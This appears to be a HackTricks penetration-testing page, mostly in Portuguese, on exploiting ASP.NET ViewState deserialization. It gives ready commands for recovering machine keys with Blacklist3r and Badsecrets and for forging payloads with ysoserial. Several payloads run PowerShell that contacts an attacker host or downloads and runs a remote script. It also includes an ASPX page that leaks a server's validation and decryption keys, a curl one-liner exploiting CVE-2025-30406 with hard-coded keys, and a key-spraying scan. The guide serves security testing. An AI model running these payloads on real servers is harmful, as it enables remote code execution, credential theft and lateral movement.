Exploiting __VIEWSTATE without knowing the secrets

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é ViewState

ViewState serve como o mecanismo padrão no ASP.NET para manter dados da página e de controles entre páginas web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.

A informação do ViewState pode ser caracterizada pelas seguintes propriedades ou suas combinações:

  • Base64:
  • Este formato é utilizado quando ambos os atributos EnableViewStateMac e ViewStateEncryptionMode estão definidos como false.
  • Base64 + MAC (Message Authentication Code) Enabled:
  • A ativação do MAC é feita ao definir o atributo EnableViewStateMac como true. Isso fornece verificação de integridade para os dados do ViewState.
  • Base64 + Encrypted:
  • A encriptação é aplicada quando o atributo ViewStateEncryptionMode está definido como true, garantindo a confidencialidade dos dados do ViewState.

Casos de Teste

A imagem é uma tabela que detalha diferentes configurações para o ViewState no ASP.NET com base na versão do .NET. Aqui está um resumo do conteúdo:

  1. Para qualquer versão do .NET, quando tanto o MAC quanto a Encriptação estão desativados, um MachineKey não é necessário, e portanto não há um método aplicável para identificá-lo.
  2. Para versões abaixo da 4.5, se o MAC estiver ativado mas a Encriptação não, um MachineKey é necessário. O método para identificar o MachineKey é referido como “Blacklist3r.”
  3. Para versões abaixo da 4.5, independentemente de o MAC estar ativado ou desativado, se a Encriptação estiver ativada, um MachineKey é necessário. Identificar o MachineKey é uma tarefa para “Blacklist3r - Future Development.”
  4. Para versões 4.5 e acima, todas as combinações de MAC e Encriptação (se ambos true, ou um true e o outro false) exigem um MachineKey. O MachineKey pode ser identificado usando “Blacklist3r.”

Caso de Teste: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

Também é possível desabilitar completamente o ViewStateMAC definindo a chave de registro AspNetEnforceViewStateMac para zero em:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificando atributos do ViewState

Você pode tentar identificar se o ViewState está protegido por MAC capturando uma requisição contendo esse parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Os desenvolvedores podem remover o ViewState de se tornar parte de um HTTP Request (o usuário não receberá esse cookie).
Pode-se supor que, se o ViewState não estiver presente, a implementação está segura contra quaisquer vulnerabilidades potenciais decorrentes da ViewState deserialization.
No entanto, esse não é o caso. Se nós adicionarmos o parâmetro ViewState ao request body e enviarmos nosso payload serializado criado usando ysoserial, ainda seremos capazes de alcançar code execution como mostrado no Caso 1.

Caso de teste: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

Para habilitar o ViewState MAC para uma página específica precisamos fazer as seguintes alterações em um arquivo aspx específico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Também podemos fazê-lo para a aplicação como um todo configurando-o no arquivo web.config conforme mostrado abaixo:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Como o parâmetro é protegido por MAC, desta vez, para executar com sucesso o attack, precisamos primeiro da key usada.

Você pode tentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar a key usada.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para .NET viewstates, existe um utilitário “python blacklist3r”, que é a maneira mais rápida de usá-lo.

Ele pode ser fornecido com o viewstate e o generator diretamente:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ou, ele pode conectar-se diretamente à URL de destino e tentar extrair o viewstate do HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Para procurar viewstates vulneráveis em larga escala, em conjunto com a enumeração de subdomínios, o módulo badsecrets BBOT pode ser usado:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Se tiver sorte e a chave for encontrada, você pode prosseguir com o ataque usando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Nos casos em que o parâmetro _VIEWSTATEGENERATOR não é enviado pelo server, você não precisa fornecer o parâmetro --generator mas estes:

--apppath="/" --path="/hello.aspx"

Explorando valores reciclados de <machineKey> em escala

Ink Dragon (2025) demonstrou o quão perigoso é quando administradores copiam os blocos de <machineKey> de exemplo publicados nos docs da Microsoft, respostas do StackOverflow ou blogs de fornecedores. Uma vez que um único alvo leaks ou reutiliza essas chaves pela farm, qualquer outra página ASP.NET que confia no ViewState pode ser sequestrada remotamente sem qualquer vulnerabilidade adicional.

  1. Construa uma wordlist candidata com os leaked validationKey/decryptionKey pairs (por exemplo, raspando repositórios públicos, posts do blog da Microsoft, ou chaves recuperadas de um host na farm) e alimente-a no Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

A ferramenta assina repetidamente um blob benigno __VIEWSTATE com cada chave candidata até que o servidor aceite o MAC, provando que a chave é válida. 2. Forje o ViewState malicioso uma vez que o par de chaves seja conhecido. Se a encriptação estiver desativada, você precisa apenas do validationKey. Se a encriptação estiver ativada, inclua a decryptionKey correspondente para que o payload sobreviva ao caminho decrypt → deserialize:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Operadores frequentemente incorporam launchers residentes no disco (por exemplo, PrintNotifyPotato, ShadowPad loaders, etc.) diretamente no payload porque ele é executado como o worker do IIS (w3wp.exe). 3. Faça pivot lateral reciclando o mesmo <machineKey> através de nós irmãos SharePoint/IIS. Uma vez que um servidor é comprometido, você pode reproduzir a chave para atingir todos os outros servidores que nunca rotacionaram sua configuração.

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

Neste caso não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está encriptado e você vai precisar do Machine Key para encriptar seu payload para explorar a vulnerabilidade.

Neste caso o Blacklist3r módulo está em desenvolvimento…

Antes do .NET 4.5, o ASP.NET pode aceitar um parâmetro ___VIEWSTATE_ não encriptado dos usuários mesmo se ViewStateEncryptionMode tiver sido definido como Always. O ASP.NET apenas verifica a presença do parâmetro __VIEWSTATEENCRYPTED na requisição. Se esse parâmetro for removido, e o payload não encriptado for enviado, ele ainda será processado.

Portanto, se os atacantes encontrarem uma forma de obter o Machinekey via outra vuln como file traversal, o comando YSoSerial.Net usado no Caso 2 pode ser usado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.

  • Remova o parâmetro __VIEWSTATEENCRYPTED da requisição para explorar a vulnerabilidade de desserialização do ViewState; caso contrário retornará um Viewstate MAC validation error e o exploit falhará.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config como mostrado a seguir.

<httpRuntime targetFramework="4.5" />

Alternativamente, isso pode ser feito especificando a opção abaixo dentro do parâmetro machineKey do arquivo web.config.

compatibilityMode="Framework45"

Como no caso anterior o valor está criptografado. Então, para enviar um payload válido o atacante precisa da chave.

Você pode tentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar a chave sendo usada:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Para uma descrição mais detalhada de IISDirPath e TargetPagePath, consulte aqui

Ou, com Badsecrets (com um valor de generator):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Uma vez identificada uma Machine key válida, o próximo passo é gerar um serialized payload usando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Se você tiver o valor de __VIEWSTATEGENERATOR pode tentar usar o parâmetro --generator com esse valor e omitir os parâmetros --path e --apppath

Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma requisição out-of-band para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em um proof of concept (PoC) que pode ser encontrado no recurso intitulado “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”. Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar o PoC of Successful Exploitation.

Test Case 6 – ViewStateUserKeys is being used

A propriedade ViewStateUserKey pode ser usada para defender contra um CSRF attack. Se tal chave tiver sido definida na aplicação e tentarmos gerar o payload ViewState com os métodos discutidos até agora, o payload não será processado pela aplicação.
Você precisa usar mais um parâmetro para criar corretamente o payload:

--viewstateuserkey="randomstringdefinedintheserver"

Resultado de uma Exploração Bem-Sucedida

Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar com sucesso então o servidor responde com “500 Internal server error” tendo o conteúdo da resposta “The state information is invalid for this page and might be corrupted” e recebemos a requisição OOB.

Check for further information here

Extraindo as ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)

Atacantes que são capazes de fazer upload ou executar código ASPX arbitrário dentro do web root alvo podem recuperar diretamente as chaves secretas que protegem __VIEWSTATE em vez de bruteforcing elas. Um payload minimal que leaks as chaves aproveita classes internas do .NET através de reflection:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Ao solicitar a página, são exibidos a ValidationKey, a DecryptionKey, o algoritmo de encriptação e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser inseridos diretamente em ysoserial.net para criar um __VIEWSTATE gadget válido e assinado:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

This key-exfiltration primitive foi massivamente explorada contra servidores SharePoint on-prem em 2025 (“ToolShell” – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código server-side.

2024-2025 Cenários Reais de Exploração e Machine Keys codificadas

Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)

A Microsoft Threat Intelligence reportou exploração em massa de sites ASP.NET onde o machineKey havia sido leaked anteriormente em fontes públicas (GitHub gists, blog posts, paste sites). Os adversários enumeraram essas chaves e geraram gadgets válidos de __VIEWSTATE com o mais recente ysoserial.net 1.41 e as flags --minify e --islegacy para evadir os limites de comprimento do WAF:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Alvos que continuam reutilizando as mesmas chaves estáticas across farms permanecem vulneráveis indefinidamente; uma vez que migram para valores AutoGenerate a spray technique dies, então priorize implantações legadas que ainda expõem material hard-coded.

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys

Kudelski Security descobriu que várias versões do CentreStack / Triofox foram distribuídas com valores idênticos de machineKey, permitindo execução remota de código não autenticada através de ViewState forgery (CVE-2025-30406).

One-liner exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Corrigido no CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – atualize ou substitua as chaves imediatamente.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks